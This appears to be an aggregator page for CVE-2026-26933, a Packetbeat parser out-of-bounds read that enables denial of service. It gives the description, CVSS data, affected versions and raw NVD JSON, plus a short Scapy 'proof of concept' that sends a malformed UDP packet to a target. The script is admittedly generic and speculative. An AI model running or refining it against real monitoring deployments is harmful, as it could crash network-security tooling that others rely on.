Security Vulnerability Report
中文
CVE-2026-26933 CVSS 5.7 MEDIUM

CVE-2026-26933

Published: 2026-03-19 18:16:21
Last Modified: 2026-03-23 13:33:44

Description

Improper Validation of Array Index (CWE-129) in multiple protocol parser components in Packetbeat can lead Denial of Service via Input Data Manipulation (CAPEC-153). An attacker with the ability to send specially crafted, malformed network packets to a monitored network interface can trigger out-of-bounds read operations, resulting in application crashes or resource exhaustion. This requires the attacker to be positioned on the same network segment as the Packetbeat deployment or to control traffic routed to monitored interfaces.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:* - VULNERABLE
Packetbeat < 8.19.11
Packetbeat < 9.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-26933 # This script demonstrates how to send a malformed packet to trigger the OOB read. # Target environment: A network segment monitored by a vulnerable Packetbeat instance. import sys from scapy.all import * def send_malformed_packet(target_ip, target_port): # Constructing a custom packet with a malformed length field. # The specific protocol headers depend on the vulnerable parser component. # Here we simulate a generic crafted payload. # Malformed payload designed to bypass validation and cause OOB index access # Example: A length field larger than the actual packet buffer crafted_payload = b"\x00\x05" # Malformed length indicator crafted_payload += b"A" * 10 # Padding # Sending the packet via UDP (assuming the vulnerable parser listens on UDP) # Note: The actual protocol might be TCP, ICMP, or others. packet = IP(dst=target_ip)/UDP(dport=target_port)/Raw(load=crafted_payload) print(f"[*] Sending malformed packet to {target_ip}:{target_port}...") send(packet, verbose=0) print("[+] Packet sent. Check Packetbeat logs for crashes.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <target_ip> <target_port>") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) send_malformed_packet(ip, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26933", "sourceIdentifier": "[email protected]", "published": "2026-03-19T18:16:21.497", "lastModified": "2026-03-23T13:33:43.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Array Index (CWE-129) in multiple protocol parser components in Packetbeat can lead Denial of Service via Input Data Manipulation (CAPEC-153). An attacker with the ability to send specially crafted, malformed network packets to a monitored network interface can trigger out-of-bounds read operations, resulting in application crashes or resource exhaustion. This requires the attacker to be positioned on the same network segment as the Packetbeat deployment or to control traffic routed to monitored interfaces."}, {"lang": "es", "value": "Validación Incorrecta de Índice de Array (CWE-129) en múltiples componentes analizadores de protocolo en Packetbeat puede provocar denegación de servicio a través de Manipulación de Datos de Entrada (CAPEC-153). Un atacante con la capacidad de enviar paquetes de red malformados y especialmente diseñados a una interfaz de red monitoreada puede desencadenar operaciones de lectura fuera de límites, lo que resulta en caídas de la aplicación o agotamiento de recursos. Esto requiere que el atacante esté posicionado en el mismo segmento de red que la implementación de Packetbeat o que controle el tráfico enrutado a las interfaces monitoreadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.11", "matchCriteriaId": "5B3AF1B0-F18A-41C2-B4AC-0156C95D7153"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.5", "matchCriteriaId": "4936046E-0E8D-4A75-8FD4-F4266B47A8FE"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/packetbeat-8-19-11-9-2-5-security-update-esa-2026-11/385533", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}